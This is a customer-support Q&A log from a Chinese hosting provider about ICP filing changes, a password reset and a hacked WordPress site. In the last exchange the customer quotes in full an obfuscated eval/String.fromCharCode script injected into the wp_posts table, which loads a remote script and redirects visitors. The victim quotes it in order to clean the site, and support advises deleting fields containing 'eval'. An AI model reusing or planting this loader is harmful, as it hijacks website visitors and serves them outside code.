問：您好，我公司“北京影知科技有限公司”委托他人協助備案域名，賬號密碼不由我們自己管理，現備案信息急需變更，可以將備案信息轉入我公司新賬號名下，我方可配合提供各種材料。,備案主體賬號
答：您好，證件號碼請勿留空，
請您將單位營業執照號碼填寫后再根據提示操作，如仍舊提示無法提交，請將營業執照和具體備案域名提交至工單， 以便為您核實,非常感謝您對我們的支持！疫情期間，請您務必保護好自己和家人的健康，若有任何問題請隨時聯系我們，三五互聯專人7*24小時值班，在疫情期間竭盡所能為您提供幫助！
問：您好，圖片附件分別為公司新營業執照和舊營業執照，舊公司名下域名有yingzhikeji.cn；yzzixun.com；yzzixun.cn，備案號為 京ICP備號。現需將備案記錄轉至我公司賬號名下，方便做備案信息的變更。和新域名wujitimes.com的備案。
答：您好，
2.根據企業信息公示系統（http://www.gsxt.gov.cn/）查詢您單位已更名為“五紀時代（北京）咨詢有限公司”，此您請先聯系原備案接入商將信息修改準確提交管局審核；
3.待管局審核通過后，如是已備案成功的域名要使用我司空間，請根據導航–備案轉入，操作；
4.如是新域名現在要使用我司空間，請根據首頁–B已有備案–B2現在去添加網站，操作；
非常感謝您對我們的支持！疫情期間，請您務必保護好自己和家人的健康，若有任何問題請隨時聯系我們，三五互聯專人7*24小時值班，在疫情期間竭盡所能為您提供幫助！
問：安全管理，修改密碼，提示：根據網絡安全法要求，賬戶必須通過增強或普通實名認證后才能管理云主機
問：
答：您好，
問：創建主機時，密碼忘記了，登陸不了
答：您好，
您可以提供一個您希望設置的密碼，授權我們先為您重置一次密碼，然后后續再完成賬號的實名認證設置。
問：設
答：您好，
已經幫您修改好了,非常感謝您長期對我司的支持!
問：該網站被攻擊，所有頁面自動跳轉到其他網站，后查看到該網站的wp_posts表中post_content字段都有段js代碼，代碼如下：< type=text/javascript>eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));</script>
手動刪除了部分后測試網站正常，因手動刪除的工作量太大，后擬批量刪除，因操作失誤無法導入，通過恢復網站備份也未成功，麻煩將網站的數據恢復攻擊前的狀態，謝謝！
答：您好，查看您對應主機系統自動備份中，其主機FTP空間中的數據和mysql數據庫中數據都只有4月18號凌晨的備份，如您對應是空間中的數據需要恢復，您可以參考http://m.shinetop.cn/faq/list.asp?unid=307 去操作，如是數據庫中的數據需要恢復可以到主機管理后臺數據庫中去操作，但是恢復前建議您做好當前數據備份（數據庫數據備份參考http://m.shinetop.cn/faq/list.asp?unid=875 ，主機空間可以將當前www目錄重命名后，重新創建一個www目錄去恢復），因對應恢復后是直接恢復到4月18號設置時間點上面的數據了，在18號到24號之間的數據將沒有,非常感謝您長期對我司的支持!
問：親，是導出的表還原不了的問題，原表的sql文件我也無法傳給你們。
答：您好，您可以將對應您導出的備份放到主機FTP空間中，然后給我們說明到您存放文件的目錄地址，我司去為您導入對應數據看看,非常感謝您長期對我司的支持!
問：wp_posts表對應的wp_posts.sql這個文件已上傳到網站根目錄中，這個是原來備份的表的原文件。
答：您好，已經為您將您提供的數據庫表備份導入到了當前數據庫中，您可以重新核實刪除對應數據看看,非常感謝您長期對我司的支持!
問：謝謝，能否將表中的所有sql注入的這段js代碼批量去處呢？
答：您好，您可以直接到數據庫中搜索“eval”該關鍵詞，將該關鍵詞的內容表字段刪除既可，如截圖,非常感謝您長期對我司的支持!
三五互聯（35.com）是經工信部、ICANN、CNNIC認證審批，持有ISP、云牌照、IDC、CDN、頂級域名注冊商等全業務資質的正規老牌服務商，自成立至今20余年專注于域名注冊、虛擬主機、云服務器、企業郵箱、企業建站等互聯網基礎服務！
截止目前，已經為超過2000萬個域名提供了注冊、解析等服務，是中國五星級域名注冊注冊商！已為超過50萬個網站提供了高速穩定的云托管服務，獲評中國最受用戶喜歡云主機服務商。
三五互聯提供全方位7X24H專業售后支撐，域名注冊特價1元起，高速穩定云主機45元起，更多詳情請瀏覽三五互聯官網：http://m.shinetop.cn/